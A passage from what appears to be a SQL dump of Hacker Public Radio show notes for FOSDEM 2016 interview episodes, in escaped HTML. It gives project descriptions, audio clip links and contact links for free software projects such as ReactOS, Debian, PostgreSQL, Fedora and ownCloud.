src=\"https://fsfe.org/about/kirschner/kirschner.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=2802.083565,4047.817414\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=2802.083565,4047.817414\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://fsfe.org/\">https://fsfe.org/</a></li>\r\n<li>Personal Website: <a href=\"https://fsfe.org/about/kirschner\">https://fsfe.org/about/kirschner</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/fsfe\">@fsfe</a>, <a href=\"https://twitter.com/kirschner\">@kirschner</a></li>\r\n<li>email: <a href=\"mailto:mk.nospam@nospam.fsfe.org\">mk.nospam@nospam.fsfe.org</a></li>\r\n<li>Facebook: <a href=\"https://facebook.com/thefsfe\">https://facebook.com/thefsfe</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Free_Software_Foundation_Europe\">https://en.wikipedia.org/wiki/Free_Software_Foundation_Europe</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/matthiaskirschner\"></a></li>\r\n<li>IRC: <a href=\"https://webchat.freenode.net/?channels=fsfe\">#fsfe</a></li>\r\n<li>Mailinglist: <a href=\"https://fsfe.org/contact/community.html\">https://fsfe.org/contact/community.html</a></li>\r\n<li>RSS: <a href=\"https://fsfe.org/news/news.rss\">https://fsfe.org/news/news.rss</a></li>\r\n<li>Mathias Kirschner <a href=\"https://hackerpublicradio.org/eps.php?id=1713\">hpr1713 :: Fosdem 2015: Surveillance vs. Free Software</a></li>\r\n</ul>\r\n<h2 id=\"ReactOS\" >ReactOS</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.reactos.org/sites/all/themes/zen_reactos/images/reactos-logo.png\"/></p>\r\n<blockquote cite=\"https://www.reactos.org/\">\r\nReactOS® is a free open source operating system based on the best design principles found in the Windows NT® architecture (Windows versions such as Windows XP, Windows 7, Windows Server 2012 are built on Windows NT architecture). Written completely from scratch, ReactOS is not a Linux based system, and shares none of the UNIX architecture. The main goal of the ReactOS® project is to provide an operating system which is binary compatible with Windows. This will allow your Windows® applications and drivers to run as they would on your Windows system. Additionally, the look and feel of the Windows operating system is used, such that people accustomed to the familiar user interface of Windows® would find using ReactOS straightforward. The ultimate goal of ReactOS® is to allow you to use it as alternative to Windows® without the need to change software you are used to.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Hermès Bélusca-Maïto</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/1/005/03f/09a/070ee47.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=4047.817414,4489.178627\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=4047.817414,4489.178627\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.reactos.org\">https://www.reactos.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/reactos\">@reactos</a></li>\r\n<li>email: <a href=\"mailto:hermes.belusca.nospam@nospam.reactos.org\">hermes.belusca.nospam@nospam.reactos.org</a>, <a href=\"mailto:victor.martinez.nospam@nospam.reactos.org\">victor.martinez.nospam@nospam.reactos.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/pages/ReactOS/19143619259\">https://www.facebook.com/pages/ReactOS/19143619259</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/100586191925430460947/posts\">https://plus.google.com/100586191925430460947/posts</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/ReactOS\">https://en.wikipedia.org/wiki/ReactOS</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/herm%C3%A8s-b%C3%A9lusca-ma%C3%AFto-518a1b8a\">https://www.linkedin.com/in/herm%C3%A8s-b%C3%A9lusca-ma%C3%AFto-518a1b8a</a></li>\r\n<li>Youtube channel: <a href=\"https://www.youtube.com/channel/UCMo8NP-2oP35rauon-Duc9Q\">https://www.youtube.com/channel/UCMo8NP-2oP35rauon-Duc9Q</a></li>\r\n<li>Shop: <a href=\"https://reactos.spreadshirt.net/\">https://reactos.spreadshirt.net/</a></li>\r\n<li>Project Coordinator: Aleksey Bragin <a href=\"https://hackerpublicradio.org/eps.php?id=1702\">hpr1702 :: FOSDEM 2015 Part 5 of 5</a></li>\r\n</ul>\r\n<h2 id=\"BAREOS\" >BAREOS - Backup Archiving Recovery Open Sourced</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.bareos.org/files/themes/bareos_org/Logo_signet_64x64.png\"/></p>\r\n<blockquote cite=\"https://www.bareos.org/en/\">\r\nBareos is a 100% open source fork of the backup project from bacula.org. The fork is in development since late 2010, it has a lot of new features. The source has been published on github, licensed AGPLv3.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Daniel Neuberger</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://www.opensourceschool.de/images/portraits/daniel-neuberger-sw.png\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=4489.178627,5156.265171\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=4489.178627,5156.265171\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://bareos.org\">https://bareos.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/bareos_backup\">@bareos_backup</a></li>\r\n<li>email: <a href=\"mailto:daniel.neuberger.nospam@nospam.dass-it.de\">daniel.neuberger.nospam@nospam.dass-it.de</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/bareosbackup\">https://www.facebook.com/bareosbackup</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+BareosBackup\">https://plus.google.com/+BareosBackup</a></li>\r\n<li>Linkedin: <a href=\"https://de.linkedin.com/in/daniel-neuberger-24259668/en\">https://de.linkedin.com/in/daniel-neuberger-24259668/en</a></li>\r\n<li>RSS: <a href=\"https://www.bareos.org/share/bareos-project-feed.xml\">https://www.bareos.org/share/bareos-project-feed.xml</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/channel/UCqvssYFRX17N3_Tuke7Raug\">https://www.youtube.com/channel/UCqvssYFRX17N3_Tuke7Raug</a></li>\r\n<li>Jörg Steffens <a href=\"https://hackerpublicradio.org/eps.php?id=1454\">hpr1454 :: HPR Coverage at FOSDEM 2014 Part 5</a></li>\r\n</ul>\r\n<h2 id=\"Debian\" >Debian</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://www.debian.org/Pics/openlogo-50_blackribbon.png\"/></p>\r\n<blockquote cite=\"https://www.debian.org/intro/about\">\r\nThe Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called Debian. An operating system is the set of basic programs and utilities that make your computer run. At the core of an operating system is the kernel. The kernel is the most fundamental program on the computer and does all the basic housekeeping and lets you start other programs. Debian systems currently use the Linux kernel or the FreeBSD kernel. Linux is a piece of software started by Linus Torvalds and supported by thousands of programmers worldwide. FreeBSD is an operating system including a kernel and other software.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Sebastiaan Couwenberg</h3>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=5156.265171,5575.707926\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=5156.265171,5575.707926\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.debian.org/\">https://www.debian.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/debian\">@debian</a></li>\r\n<li>Fediverse: <a href=\"https://identi.ca/debian\">@debian</a></li>\r\n<li>email: <a href=\"mailto:sebastic.nospam@nospam.debian.org\">sebastic.nospam@nospam.debian.org</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/debian\">https://www.facebook.com/debian</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/111711190057359692089\">https://plus.google.com/111711190057359692089</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Debian\">https://en.wikipedia.org/wiki/Debian</a></li>\r\n<li>Joost van Baal-Ilić <a href=\"https://hackerpublicradio.org/eps.php?id=1447\">hpr1447 :: HPR Coverage at FOSDEM 2014 Part 1/5</a></li>\r\n<li>David Bremner <a href=\"https://hackerpublicradio.org/eps.php?id=1698\">hpr1698 :: FOSDEM 2015 Part 2 of 5</a></li>\r\n</ul>\r\n<h2 id=\"PostgreSQL\" >PostgreSQL</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/2/29/Postgresql_elephant.svg/540px-Postgresql_elephant.svg.png\"/></p>\r\n<blockquote cite=\"https://www.postgresql.org/about/\">\r\nPostgreSQL is a powerful, open source object-relational database system. It has more than 15 years of active development and a proven architecture that has earned it a strong reputation for reliability, data integrity, and correctness. It runs on all major operating systems, including Linux, UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64), and Windows. It is fully ACID compliant, has full support for foreign keys, joins, views, triggers, and stored procedures (in multiple languages). It includes most SQL:2008 data types, including INTEGER, NUMERIC, BOOLEAN, CHAR, VARCHAR, DATE, INTERVAL, and TIMESTAMP. It also supports storage of binary large objects, including pictures, sounds, or video. It has native programming interfaces for C/C++, Java, .Net, Perl, Python, Ruby, Tcl, ODBC, among others, and exceptional documentation.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Christoph Berg</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://avatars0.githubusercontent.com/u/1021828?v=3&s=400\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=5575.707926,5948.043391\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=5575.707926,5948.043391\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.postgresql.org/\">https://www.postgresql.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/planetpostgres\">@planetpostgres</a></li>\r\n<li>email: <a href=\"mailto:myon.nospam@nospam.debian.org\">myon.nospam@nospam.debian.org</a> <a href=\"mailto:christoph.berg.nospam@nospam.credativ.de\">christoph.berg.nospam@nospam.credativ.de</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/PostgreSQL\">https://en.wikipedia.org/wiki/PostgreSQL</a></li>\r\n<li>GitHub: <a href=\"https://github.com/ChristophBerg\">https://github.com/ChristophBerg</a></li>\r\n</ul>\r\n<h2 id=\"OpenMandriva\" >OpenMandriva</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/6/60/Oma-logo-22042013_300pp.png\"/></p>\r\n<blockquote cite=\"https://openmandriva.org/en/about\">\r\n<p>We are a <strong>100% community-driven association</strong> that believes in the values of free software &amp; collaboration. We fight to protect these values and promote solutions anyone can use, change and distribute. OpenMandriva believes in <em>creating, improving, promoting and distributing free software</em> in general, and its projects in particular. We also crave for <em>promoting free exchange of knowledge and equality of opportunity in software access and development, as well as in education, science and research</em>. Our products are <em>developed with passion</em> by the community and aim to be flexible in use by all.</p>\r\n\r\n<p>OpenMandriva represents the paradigm: <strong>from community to community, with passion, fun and dedication</strong>.</p>\r\n\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Colin Close, President OpenMandriva</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://blog.openmandriva.org/wp-content/uploads/2015/06/2015-06-03_17-05-43-e1434124164880-225x300.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=5948.043391,6523.768233\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=5948.043391,6523.768233\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://openmandriva.org\">https://openmandriva.org</a></li>\r\n<li>email: <a href=\"mailto:itchka.nospam@nospam.compuserve.com\">itchka.nospam@nospam.compuserve.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenMandriva_Lx\">https://en.wikipedia.org/wiki/OpenMandriva_Lx</a></li>\r\n<li>Bernhard Rosenkränzer <a href=\"https://hackerpublicradio.org/eps.php?id=1698\">hpr1698 :: FOSDEM 2015 Part 2 of 5</a></li>\r\n</ul>\r\n<h2 id=\"Mageia\" >Mageia</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Mageia_logo.svg/800px-Mageia_logo.svg.png\"/></p>\r\n<blockquote cite=\"\">\r\nMageia is a GNU/Linux-based, Free Software operating system. It is a community project, supported by a nonprofit organisation of elected contributors. Our mission: to build great tools for people.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Chris Denice (eatdirt)</h3>\r\n\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=6523.768233,7006.391815\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=6523.768233,7006.391815\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.mageia.org/en/\">https://www.mageia.org/en/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/mageia_org\">@mageia_org</a></li>\r\n<li>email: <a href=\"mailto:eatdirt.nospam@nospam.mageia.org\">eatdirt.nospam@nospam.mageia.org</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Mageia\">https://en.wikipedia.org/wiki/Mageia</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/1365705\">https://www.linkedin.com/company/1365705</a></li>\r\n<li>Anne Nicolas <a href=\"https://hackerpublicradio.org/eps.php?id=1698\">hpr1698 :: FOSDEM 2015 Part 2 of 5</a></li>\r\n</ul>\r\n<h2 id=\"Gentoo\" >Gentoo</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/4/48/Gentoo_Linux_logo_matte.svg/229px-Gentoo_Linux_logo_matte.svg.png\"/></p>\r\n<blockquote cite=\"https://www.gentoo.org/get-started/about/\">\r\nGentoo is a free operating system based on either Linux or FreeBSD that can be automatically optimized and customized for just about any application or need. \r\nExtreme configurability, performance and a top-notch user and developer community are all hallmarks of the Gentoo experience.\r\n<br />\r\nThanks to a technology called Portage, Gentoo can become an ideal secure server, development workstation, professional desktop, gaming system, embedded solution or something else—whatever you need it to be. Because of its near-unlimited adaptability, we call Gentoo a metadistribution.\r\n<br />\r\nOf course, Gentoo is more than just the software it provides. It is a community built around a distribution which is driven by more than 300 developers and thousands of users. The distribution project provides the means for the users to enjoy Gentoo: documentation, infrastructure, release engineering, software porting, quality assurance, security followup, hardening and more.\r\n<br />\r\nTo advise on and help with Gentoo\'s global development, a 7-member council is elected on a yearly basis which decides on global issues, policies and advancements in the Gentoo project.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Kristian Fiskerstrand</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/378800000133158807/c75d0bb95cc363de36121c57bb837856_400x400.jpeg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.ogg#t=7006.391815,7812.364845\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1957.mp3#t=7006.391815,7812.364845\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.gentoo.org/\">https://www.gentoo.org/</a></li>\r\n<li>Personal Website: <a href=\"https://blog.sumptuouscapital.com/\">https://blog.sumptuouscapital.com/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/krifisk\">@krifisk</a></li>\r\n<li>email: <a href=\"mailto:k_f.nospam@nospam.gentoo.org\">k_f.nospam@nospam.gentoo.org</a> OpenPGP fingerprint: 94CB AFDD 3034 5109 5618  35AA 0B7F 8B60 E3ED FAE3</li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/gentoo.org\">https://www.facebook.com/gentoo.org</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/communities/100146718762350759856\">https://plus.google.com/communities/100146718762350759856</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Gentoo_Linux\">https://en.wikipedia.org/wiki/Gentoo_Linux</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/company/16350\">https://www.linkedin.com/company/16350</a></li>\r\n</ul>\r\n',30,78,0,'CC-BY-SA','FOSDEM, CAcert, DRLM, Gluster, oVirt, OpenVZ, FSFE, ReactOS, BAREOS, Debian, PostgreSQL, OpenMandriva, Mageia, Gentoo',0,0,1),
(1958,'2016-02-03','FOSDEM 2016 K building level 1 Group A',6665,'Fedora, OpenSuse, illumos, ownCloud, Enlightenment, Tizen, Kolab, KDE, LibreOffice','<h1>Table of Contents</h1>\r\n\r\n<ul>\r\n<li><a href=\"#Fedora\">Fedora</a></li>\r\n<li><a href=\"#OpenSuse\">OpenSuse</a></li>\r\n<li><a href=\"#illumos\">illumos</a></li>\r\n<li><a href=\"#ownCloud\">ownCloud</a></li>\r\n<li><a href=\"#Enlightenment\">Enlightenment</a></li>\r\n<li><a href=\"#Tizen\">Tizen</a></li>\r\n<li><a href=\"#Kolab\">Kolab</a></li>\r\n<li><a href=\"#KDE\">KDE</a></li>\r\n<li><a href=\"#LibreOffice\">LibreOffice</a></li>\r\n</ul>\r\n<h2 id=\"Fedora\" >Fedora</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://getfedora.org/static/images/fedora-logotext.png\"/></p>\r\n<blockquote cite=\"https://fedoraproject.org/wiki/Overview\">\r\nThe Fedora Project is a partnership of free software community members from around the globe. The Fedora Project builds open source software communities and produces a Linux distribution called \"Fedora.\" The Fedora Project\'s mission is to lead the advancement of free and open source software and content as a collaborative community.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Jiří Eischmann</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://fedoraproject.org/w/uploads/8/82/Eischmann.JPG\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=70.682294,673.735085\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=70.682294,673.735085\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://getfedora.org/en/\">https://getfedora.org/en/</a></li>\r\n<li>Personal Website: <a href=\"https://fedoraproject.org/wiki/User:Eischmann\">https://fedoraproject.org/wiki/User:Eischmann</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/Sesivany\">@Sesivany</a> <a href=\"https://twitter.com/fedora_linux\">@fedora_linux</a></li>\r\n<li>email: <a href=\"mailto:eischmann.nospam@nospam.redhat.com\">eischmann.nospam@nospam.redhat.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Fedora_(operating_system)\">https://en.wikipedia.org/wiki/Fedora_(operating_system)</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/eischmann\">https://www.linkedin.com/in/eischmann</a></li>\r\n<li>Jiří Eischmann and Jaroslav Řezník <a href=\"https://hackerpublicradio.org/eps.php?id=1452\">hpr1452 :: HPR Coverage at FOSDEM 2014 Part 3</a></li>\r\n<li>Matthew Miller <a href=\"https://hackerpublicradio.org/eps.php?id=1697\">hpr1697 :: FOSDEM 2015 Friday Night and Saturday Morning 1 of 5</a> </li>\r\n</ul>\r\n<h2 id=\"OpenSuse\" >OpenSuse</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/en/thumb/9/98/OpenSUSE_official-logo-color.svg/248px-OpenSUSE_official-logo-color.svg.png\"/></p>\r\n<blockquote>\r\n<!-- quote provided by Sarah Julia Kriesch -->\r\nopenSUSE, formerly openSUSE Leap 42.1 and openSUSE Tumbleweed, is a international Linux project with different distributions sponsored by SUSE Linux GmbH and other companies. It is widely used throughout the world, particularly in Germany. The focus of its development is creating usable open-source tools for software developers and system administrators, while providing  user-friendly desktops, and a feature-rich server environment.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Sarah Julia Kriesch</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/AAEAAQAAAAAAAAPJAAAAJDhhODllMGE1LWE4MDMtNDdiNS04ZjhjLTg3MDM4ZDFiZDI2Ng.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=673.735085,1025.664123\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=673.735085,1025.664123\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.opensuse.org/\">https://www.opensuse.org/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/opensuse\">@opensuse</a></li>\r\n<li>email: <a href=\"mailto:Sarah.Kriesch.nospam@nospam.brandmaker.com\">Sarah.Kriesch.nospam@nospam.brandmaker.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/en.openSUSE\">https://www.facebook.com/en.openSUSE</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/+openSUSE/posts\">https://plus.google.com/+openSUSE/posts</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OpenSUSE\">https://en.wikipedia.org/wiki/OpenSUSE</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/sarah-julia-kriesch-16874b82\">https://www.linkedin.com/in/sarah-julia-kriesch-16874b82</a></li>\r\n<li>YouTube: <a href=\"https://www.youtube.com/user/opensusetv\">https://www.youtube.com/user/opensusetv</a></li>\r\n<li>Richard Brown <a href=\"https://hackerpublicradio.org/eps.php?id=1447\">hpr1447 :: HPR Coverage at FOSDEM 2014 Part 1/5</a></li>\r\n</ul>\r\n<h2 id=\"illumos\" >illumos</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/en/8/89/IllumosPhoenixRGB.png\"/></p>\r\n<blockquote cite=\"https://wiki.illumos.org/display/illumos/About+illumos\">\r\nThis is the home of the illumos project, the open source fork of Sun\'s OpenSolaris. Launched in 2010, the project enjoys financial and technical support from several key companies which rely on the illumos kernel as the technological foundation for their own products, as well as the backing of a growing developer community.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Dan McDonald</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/656689622206951424/C-MmntV5_400x400.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=1025.664123,1241.980405\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=1025.664123,1241.980405\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://illumos.org/\">https://illumos.org/</a></li>\r\n<li>Personal Website: <a href=\"https://omniti.com/\">https://omniti.com/</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/kebesays\">@kebesays</a></li>\r\n<li>email: <a href=\"mailto:danmcd.nospam@nospam.omniti.com\">danmcd.nospam@nospam.omniti.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Illumos\">https://en.wikipedia.org/wiki/Illumos</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/danmcd\">https://www.linkedin.com/in/danmcd</a></li>\r\n<li><a href=\"https://fosdem.org/2016/schedule/event/illumos_overview/\">https://fosdem.org/2016/schedule/event/illumos_overview/</a></li>\r\n</ul>\r\n<h2 id=\"ownCloud\" >ownCloud</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/OwnCloud2-Logo.svg/595px-OwnCloud2-Logo.svg.png\"/></p>\r\n<blockquote cite=\"https://owncloud.org/features/\">\r\nAccess, Sync and Share your data, under your control! ownCloud provides access to your data through a web interface or WebDAV while providing a platform to view, sync and share across devices easily, all under your control. ownCloud\'s open architecture is extensible via a simple but powerful API for applications and plugins and works with any storage.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Jos Poortvliet, Community Manager/ Chief Geek Herder at ownCloud</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://pbs.twimg.com/profile_images/463234146299432960/it92oKXV_400x400.jpeg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=1241.980405,1641.465818\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=1241.980405,1641.465818\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://owncloud.org\">https://owncloud.org</a></li>\r\n<li>Personal Website: <a href=\"\"></a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/jospoortvliet\">@jospoortvliet</a></li>\r\n<li>email: <a href=\"mailto:jos.nospam@nospam.owncloud.com\">jos.nospam@nospam.owncloud.com</a></li>\r\n<li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/OwnCloud\">https://en.wikipedia.org/wiki/OwnCloud</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/jospoortvliet\">https://www.linkedin.com/in/jospoortvliet</a></li>\r\n<li>Jan-Christoph Borchardt <a href=\"https://hackerpublicradio.org/eps.php?id=1698\">hpr1698 :: FOSDEM 2015 Part 2 of 5</a></li>\r\n</ul>\r\n<h2 id=\"Enlightenment\" >Enlightenment</h2>\r\n\r\n<p><img alt=\"Logo\" height=\"80\" src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/9e/E17_enlightenment_logo_shiny_black_curved.svg/174px-E17_enlightenment_logo_shiny_black_curved.svg.png\"/></p>\r\n<blockquote cite=\"https://www.enlightenment.org/about\">\r\nThe original reason Enlightenment exists - The Window Manager. From here everything else spawned. This is really the flagship product, closely followed by EFL itself. The window manager is a lean, fast, modular and very extensible window manager for X11 and Linux. It is classed as a “desktop shell” providing the things you need to operate your desktop (or laptop), but is not a whole application suite. This covers launching applications, managing their windows and doing other system tasks like suspending, reboots, managing files etc.\r\n<br />\r\nWe are moving towards Wayland as the base display system where Enlightenment is being worked on to become a full Wayland compositor on its own. This of course takes time and has its rough edges along the way, but we are not standing still, and one day will leave X11 behind.\r\n<br />\r\nOf course Enlightenment is built on top of EFL, using the libraries we wrote for it to do its UI as well as to run the entire compositor itself. This means that any improvements to EFL turn up in the compositor as well.\r\n<br />\r\nEnlightenment also is the Window Manager and Compositor for Tizen due in part to its efficiency and feature-set.\r\n</blockquote>\r\n\r\n<h3>Listen to the interview with Philippe Caseiro</h3>\r\n\r\n<p><img alt=\"headshot\" src=\"https://media.licdn.com/mpr/mpr/shrinknp_400_400/p/8/005/060/196/103c7bf.jpg\"/></p>\r\n<p><audio controls=\"\" preload=\"none\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.ogg#t=1641.465818,2049.667924\" type=\"audio/ogg\">\r\n<source src=\"https://hackerpublicradio.org/eps/hpr1958.mp3#t=1641.465818,2049.667924\" type=\"audio/mpeg\">\r\n</audio></p>\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Project Website: <a href=\"https://www.enlightenment.org\">https://www.enlightenment.org</a></li>\r\n<li>Twitter: <a href=\"https://twitter.com/_Enlightenment_\">@<em>Enlightenment</em></a></li>\r\n<li>email: <a href=\"mailto:pcaseiro.nospam@nospam.cadoles.com\">pcaseiro.nospam@nospam.cadoles.com</a></li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/enlightenment.org\">https://www.facebook.com/enlightenment.org</a></li>\r\n<li>Google+: <a href=\"https://plus.google.com/118426816251488376359\">https://plus.google.com/118426816251488376359</a></li>\r\n<li>Linkedin: <a href=\"https://www.linkedin.com/in/philippecaseiro\">https://www.linkedin.com/in/philippecaseiro</a></li>\r\n<li>Youtube: <a href=\"https://www.youtube.com/channel/UCs9Xcw4TwJ1_A8QI8PxCNNA\">https://www.youtube.com/channel/UCs9Xcw4TwJ1_A8QI8PxCNNA</a></li>\r\n<li>Wikipedia: <a 